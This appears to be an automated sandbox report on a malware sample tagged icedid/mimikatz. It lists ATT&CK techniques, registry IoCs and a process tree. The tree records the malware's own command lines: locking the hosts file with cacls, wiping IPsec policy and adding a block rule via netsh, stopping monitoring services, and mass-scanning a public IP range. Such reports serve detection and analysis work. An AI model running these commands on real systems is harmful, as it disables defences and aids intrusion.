Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fknvgk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	btuizeiim.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgmtcbi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	liuibviiz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgmtcbi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4808	cmd.exe
2768	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023ca6-7.dat	nsis_installer_2
behavioral2/files/0x0008000000023cbd-15.dat	nsis_installer_1
behavioral2/files/0x0008000000023cbd-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mgmtcbi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mgmtcbi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	iyibcmiuc.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	mgmtcbi.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2768	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2548	schtasks.exe
4524	schtasks.exe
4504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	3616	mgmtcbi.exe
Token: SeDebugPrivilege	2704	mgmtcbi.exe
Token: SeDebugPrivilege	3308	vfshost.exe
Token: SeDebugPrivilege	4576	iyibcmiuc.exe
Token: SeLockMemoryPrivilege	4460	ltbtbc.exe
Token: SeLockMemoryPrivilege	4460	ltbtbc.exe
Token: SeDebugPrivilege	4936	iyibcmiuc.exe
Token: SeDebugPrivilege	4712	iyibcmiuc.exe
Token: SeDebugPrivilege	2044	iyibcmiuc.exe
Token: SeDebugPrivilege	1840	iyibcmiuc.exe
Token: SeDebugPrivilege	2836	iyibcmiuc.exe
Token: SeDebugPrivilege	1472	iyibcmiuc.exe
Token: SeDebugPrivilege	464	iyibcmiuc.exe
Token: SeDebugPrivilege	2216	iyibcmiuc.exe
Token: SeDebugPrivilege	2040	iyibcmiuc.exe
Token: SeDebugPrivilege	5100	iyibcmiuc.exe
Token: SeDebugPrivilege	3828	iyibcmiuc.exe
Token: SeDebugPrivilege	2896	iyibcmiuc.exe
Token: SeDebugPrivilege	3280	iyibcmiuc.exe
Token: SeDebugPrivilege	2596	iyibcmiuc.exe
Token: SeDebugPrivilege	4912	iyibcmiuc.exe
Token: SeDebugPrivilege	4116	iyibcmiuc.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
3616	mgmtcbi.exe
3616	mgmtcbi.exe
2704	mgmtcbi.exe
2704	mgmtcbi.exe
3628	xohudmc.exe
4748	fknvgk.exe
1924	mgmtcbi.exe
1924	mgmtcbi.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 4808	3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe	86
PID 3628 wrote to memory of 4808	3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe	86
PID 3628 wrote to memory of 4808	3628	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe	86
PID 4808 wrote to memory of 2768	4808	cmd.exe	88
PID 4808 wrote to memory of 2768	4808	cmd.exe	88
PID 4808 wrote to memory of 2768	4808	cmd.exe	88
PID 4808 wrote to memory of 3616	4808	cmd.exe	94
PID 4808 wrote to memory of 3616	4808	cmd.exe	94
PID 4808 wrote to memory of 3616	4808	cmd.exe	94
PID 2704 wrote to memory of 2540	2704	mgmtcbi.exe	96
PID 2704 wrote to memory of 2540	2704	mgmtcbi.exe	96
PID 2704 wrote to memory of 2540	2704	mgmtcbi.exe	96
PID 2540 wrote to memory of 624	2540	cmd.exe	98
PID 2540 wrote to memory of 624	2540	cmd.exe	98
PID 2540 wrote to memory of 624	2540	cmd.exe	98
PID 2540 wrote to memory of 3564	2540	cmd.exe	130
PID 2540 wrote to memory of 3564	2540	cmd.exe	130
PID 2540 wrote to memory of 3564	2540	cmd.exe	130
PID 2540 wrote to memory of 1092	2540	cmd.exe	173
PID 2540 wrote to memory of 1092	2540	cmd.exe	173
PID 2540 wrote to memory of 1092	2540	cmd.exe	173
PID 2540 wrote to memory of 2220	2540	cmd.exe	101
PID 2540 wrote to memory of 2220	2540	cmd.exe	101
PID 2540 wrote to memory of 2220	2540	cmd.exe	101
PID 2540 wrote to memory of 3276	2540	cmd.exe	102
PID 2540 wrote to memory of 3276	2540	cmd.exe	102
PID 2540 wrote to memory of 3276	2540	cmd.exe	102
PID 2540 wrote to memory of 3424	2540	cmd.exe	103
PID 2540 wrote to memory of 3424	2540	cmd.exe	103
PID 2540 wrote to memory of 3424	2540	cmd.exe	103
PID 2704 wrote to memory of 736	2704	mgmtcbi.exe	233
PID 2704 wrote to memory of 736	2704	mgmtcbi.exe	233
PID 2704 wrote to memory of 736	2704	mgmtcbi.exe	233
PID 2704 wrote to memory of 3128	2704	mgmtcbi.exe	143
PID 2704 wrote to memory of 3128	2704	mgmtcbi.exe	143
PID 2704 wrote to memory of 3128	2704	mgmtcbi.exe	143
PID 2704 wrote to memory of 2436	2704	mgmtcbi.exe	111
PID 2704 wrote to memory of 2436	2704	mgmtcbi.exe	111
PID 2704 wrote to memory of 2436	2704	mgmtcbi.exe	111
PID 2704 wrote to memory of 5084	2704	mgmtcbi.exe	171
PID 2704 wrote to memory of 5084	2704	mgmtcbi.exe	171
PID 2704 wrote to memory of 5084	2704	mgmtcbi.exe	171
PID 5084 wrote to memory of 3396	5084	cmd.exe	117
PID 5084 wrote to memory of 3396	5084	cmd.exe	117
PID 5084 wrote to memory of 3396	5084	cmd.exe	117
PID 3396 wrote to memory of 2632	3396	wpcap.exe	118
PID 3396 wrote to memory of 2632	3396	wpcap.exe	118
PID 3396 wrote to memory of 2632	3396	wpcap.exe	118
PID 2632 wrote to memory of 3228	2632	net.exe	120
PID 2632 wrote to memory of 3228	2632	net.exe	120
PID 2632 wrote to memory of 3228	2632	net.exe	120
PID 3396 wrote to memory of 3164	3396	wpcap.exe	121
PID 3396 wrote to memory of 3164	3396	wpcap.exe	121
PID 3396 wrote to memory of 3164	3396	wpcap.exe	121
PID 3164 wrote to memory of 1288	3164	net.exe	123
PID 3164 wrote to memory of 1288	3164	net.exe	123
PID 3164 wrote to memory of 1288	3164	net.exe	123
PID 3396 wrote to memory of 2304	3396	wpcap.exe	124
PID 3396 wrote to memory of 2304	3396	wpcap.exe	124
PID 3396 wrote to memory of 2304	3396	wpcap.exe	124
PID 2304 wrote to memory of 3292	2304	net.exe	126
PID 2304 wrote to memory of 3292	2304	net.exe	126
PID 2304 wrote to memory of 3292	2304	net.exe	126
PID 3396 wrote to memory of 2356	3396	wpcap.exe	127

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2116
- C:\Windows\TEMP\untipbtiz\ltbtbc.exe
  "C:\Windows\TEMP\untipbtiz\ltbtbc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4460

C:\Users\Admin\AppData\Local\Temp\2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ybemumnz\mgmtcbi.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2768
- - C:\Windows\ybemumnz\mgmtcbi.exe
    C:\Windows\ybemumnz\mgmtcbi.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3616

C:\Windows\ybemumnz\mgmtcbi.exe
C:\Windows\ybemumnz\mgmtcbi.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:624
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:3564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1092
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3276
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3424
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3128
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5084
- - C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe
    C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3228
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3164
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:1288
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2304
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:3292
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2356
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:1464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3564
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4552
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\jhetmctcv\bctzbzczb\Scant.txt
  2⤵
  PID:1472
- - C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe
    C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\jhetmctcv\bctzbzczb\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4532
